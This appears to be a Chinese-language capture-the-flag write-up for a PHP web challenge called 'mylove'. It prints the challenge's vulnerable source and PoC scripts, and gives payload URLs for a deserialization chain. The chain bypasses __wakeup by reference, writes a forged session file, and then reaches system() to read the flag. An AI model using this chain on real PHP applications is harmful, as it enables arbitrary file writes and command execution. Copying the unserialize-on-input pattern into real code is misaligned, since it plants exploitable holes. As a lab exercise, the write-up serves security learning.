帕鲁杯web mylove复现 wp
题目给了源码和phpinfo()
<?php class a{ public function __get($a){ $this->b->love(); } } class b{ public function __destruct(){ $tmp = $this->c->name; } public function __wakeup(){ $this->c = "no!"; $this->b = $this->a; } } class xk{ public function love(){ $a = $this->mylove; } public function __get($a){ if(preg_match("/\.|\.php/",$this->man)){ die("文件名不能有."); } file_put_contents($this->man,base64_decode($this->woman)); } } class end{ public function love(){ ($this->func)(); } } if(isset($_GET['pop'])) { unserialize($_GET['pop']); if(preg_match("/N$/",$_GET['test'])){ $tmp = $_GET['test']; } } else{ show_source(__FILE__); phpinfo(); } if($$tmp['name']=='your are good!'){ echo 'ok!'; system($_GET['shell']);
题目思路:
file_put_contents($this->man,base64_decode($this->woman));
和
class end{ public function love(){ ($this->func)(); }
一个写文件,一个session_start()
配合
1、通过自己写session文件
2、然后读取,从而执行命令
第一步:
写session文件
链子:b--->a--->xk
poc
<?php class a{ public function __get($a){ $this->b->love(); } } class b{ public function __destruct(){ $tmp = $this->c->name; } public function __wakeup(){ $this->c = "no!"; $this->b = $this->a; } } class xk{ public function love(){ $a = $this->mylove; } public function __get($a){ if(preg_match("/\.|\.php/",$this->man)){ die("文件名不能有."); } file_put_contents($this->man,base64_decode($this->woman)); } } class end{ public function love(){ ($this->func)(); } } if(isset($_GET['pop'])) { unserialize($_GET['pop']); if(preg_match("/N$/",$_GET['test'])){ $tmp = $_GET['test']; } } else{ show_source(__FILE__); phpinfo(); } if($$tmp['name']=='your are good!'){ echo 'ok!'; system($_GET['shell']); } $ctf = new b(); $ctf ->a = new a(); $ctf ->a -> b = new xk(); $ctf ->c = &$ctf->b; //上面是通过引用变量绕过wakeup中的this->$c="no",因为wakeup要让c是一个对象,才能利用这句$tmp = $this->c->name;跳转 //下面是session文件的路径以及写入的内容 $ctf-> a -> b -> man = "/var/lib/php/session/sess_1"; //phpinfo获取 $ctf-> a -> b -> woman ="bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";// name|s:14:"your are good!"; //phpinfo获取处理器为php echo serialize($ctf);
payload
?pop=O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":2:{s:3:"man";s:27:"/var/lib/php/session/sess_1";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}s:1:"b";N;s:1:"c";R:6;}
第二步:
通过读取session文件
绕过if($$tmp['name']=='your are good!')
然后就有system了
poc
<?php class a{ public function __get($a){ $this->b->love(); } } class b{ public function __destruct(){ $tmp = $this->c->name; } public function __wakeup(){ $this->c = "no!"; $this->b = $this->a; } } class xk{ public function love(){ $a = $this->mylove; } public function __get($a){ if(preg_match("/\.|\.php/",$this->man)){ die("文件名不能有."); } file_put_contents($this->man,base64_decode($this->woman)); } } class end{ public function love(){ ($this->func)(); } } if(isset($_GET['pop'])) { unserialize($_GET['pop']); if(preg_match("/N$/",$_GET['test'])){ $tmp = $_GET['test']; } } else{ show_source(__FILE__); phpinfo(); } if($$tmp['name']=='your are good!'){ echo 'ok!'; system($_GET['shell']); } $ctfer = new b(); $ctfer ->a = new a(); $ctfer ->a -> b = new end(); $ctfer ->c = &$ctfer->b; $ctfer ->a -> b-> func ='session_start'; echo serialize($ctfer);
url
?pop=O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:5;}&test=_SESSION&shell=cat+f*
test=_SESSION ---> $_SESSION 读取序列化文件数据,也就是刚才第一步写入的 your are good!
cookie
PHPSESSID=1
因为前面第一步的时候
$ctf-> a -> b -> man = "/var/lib/php/session/sess_1";
这一句我们定义的session文件名是1